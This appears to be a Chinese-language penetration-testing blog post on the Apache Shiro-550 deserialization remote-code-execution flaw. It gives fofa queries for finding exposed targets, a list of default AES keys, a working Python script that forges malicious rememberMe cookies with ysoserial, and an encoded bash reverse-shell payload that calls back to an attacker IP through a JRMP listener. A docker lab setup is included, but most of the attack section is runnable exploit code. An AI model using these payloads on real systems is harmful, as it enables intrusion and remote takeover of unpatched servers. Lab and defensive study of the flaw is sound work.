Shiro漏洞

简介

Apache Shiro是一种功能强大且易于使用的Java安全框架,它执行身份验证、授权、加密和会话管理,可用于保护任何应用程序的安全。

Shiro提供了应用程序安全性API来执行以下方面:

  • 身份验证:证明用户身份,通常称为用户”登录”

  • 授权:访问控制

  • 密码术:保护或隐藏数据以防窥视

  • 会话管理:每个用户的时间敏感状态

    上述四个方面也被称为应用程序安全性的四个基石。

关于这个漏洞,本来这个漏洞很安全的,但是出现了加密密钥不修改的情况,也就是我们可以使用默认密钥进行破解,然后反序列化

image-20240118140826755

漏洞发现

组件识别

在访问及登录时抓包,如果响应头set-cookie中显示rememberMe=deleteMe,说明使用了Shiro组件

Shiro漏洞搜索

通过fofa、zoomeye、shodan这类平台搜索相关特征来发现目标。

header=”rememberme=deleteMe”

header=”shiroCookie”

image-20240118130116605

shiro 漏洞检测

https://github.com/fupinglee/ShiroScan

https://github.com/sv3nbeast/ShiroScan

https://github.com/insightglacier/Shiro_exploit

https://github.com/Ares-X/shiro-exploit

Shiro-550

漏洞原因

Apache Shiro 框架提供了记住密码的功能(RememberMe),关闭浏览器再次访问时无需再登录即 可访问。用户登录成功后用户信息会经过加密编码后存储在cookie中。在 Cookie 读取过程中有用 AES 对 Cookie 值解密的过程,对于 AES 这类对称加密算法,一旦秘钥泄露加密便形同虚设。若秘 钥可控,同时 Cookie 值是由攻击者构造的恶意 Payload,就可以将流程走通,触发危险的 Java 反 序列化,从而导致远程命令执行漏洞。

shiro 默认使用了 CookieRememberMeManager,其处理cookie的流程是: 获取 rememberMe的cookie值–>Base64解码–>AES解密 –>反序列化 。

但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人 通过源代码都能拿到AES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化、 AES加密、base64编码后,作为 cookie 的 rememberMe 字段发送。Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。

image-20240118141011492

只要rememberMeAES加密密钥泄露,无论shiro是什么版本都可能会导致该漏洞的产生。硬编码是 将数据直接嵌入到程序或其他可执行对象的源代码中。如果在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,那么就可能存在此漏洞。

常见key:

kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==

payload产生的过程

命令 ==> 序列化 ==> AES加密 ==> base64 ==> rememberMe cookie(这个可以用于探测时候是使用的是shior)

我们只需要蒋key获取到,然后使用工具重新生成恶意cookie,然后交给shior,他会将这个序列化,然后就相当于执行我们的恶意代码。如果我们的恶意代码是反弹shell 的话,就会反弹shell

影响版本

1
Apache Shiro <= 1.2.4(需要获取AES秘钥)

利用组件

1
org.apache.commons 中的 commons-collections4(理论上commons-collections2也有)

Payload构造(用于创建rememberMe)

ysoserial.jar 文件和脚本处于同一目录 ;

python3 shiro-exp.py 124.71.45.28:9998

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# shiro-exp.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext


if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))

环境搭建

1
2
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 7777:8080 medicean/vulapps:s_shiro_1

漏洞复现

  1. 检查是否存在默认的key 和漏洞

    这里我们使用 Shiro_exploit 脚本,获取默认 key

    https://github.com/insightglacier/Shiro_exploit

    git clone https://github.com/insightglacier/Shiro_exploit.git

    cd Shiro_exploit

    pip2 install requests

    pip2 uninstall crypto pycryptodome

    pip2 install pycryptodome

    脚本通过网络收集到的22个key,利用ysoserial工具中的URLDNS这个Gadget,并结合dnslog平 台实现漏洞检测。漏洞利用则可以选择Gadget和参数,增强灵活性。

    1
    python2 shiro_exploit.py -u http://47.104.255.11:18080/
  2. 攻击机监听

    1
    nc
  3. VPS 利用反序列化工具生成 payload

https://www.sqlsec.com/rce/

1
bash -c {echo, YmFzaCAtaSAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzMiAwPiYx}|{base64, -d}|{bash, -i}
  1. 然后执行ysoserial

    1
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections4 "bash -c {echo, YmFzaCAtaSAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzOC8yMjM0NSAwPiYx}|{base64, -d}|{bash, -i}"
  2. 生成cookie
    image-20240118154031893

  3. 发包

    image-20240118154255996


Shiro漏洞
https://tsy244.github.io/2024/01/18/渗透/Shiro漏洞/
Author
August Rosenberg
Posted on
January 18, 2024
Licensed under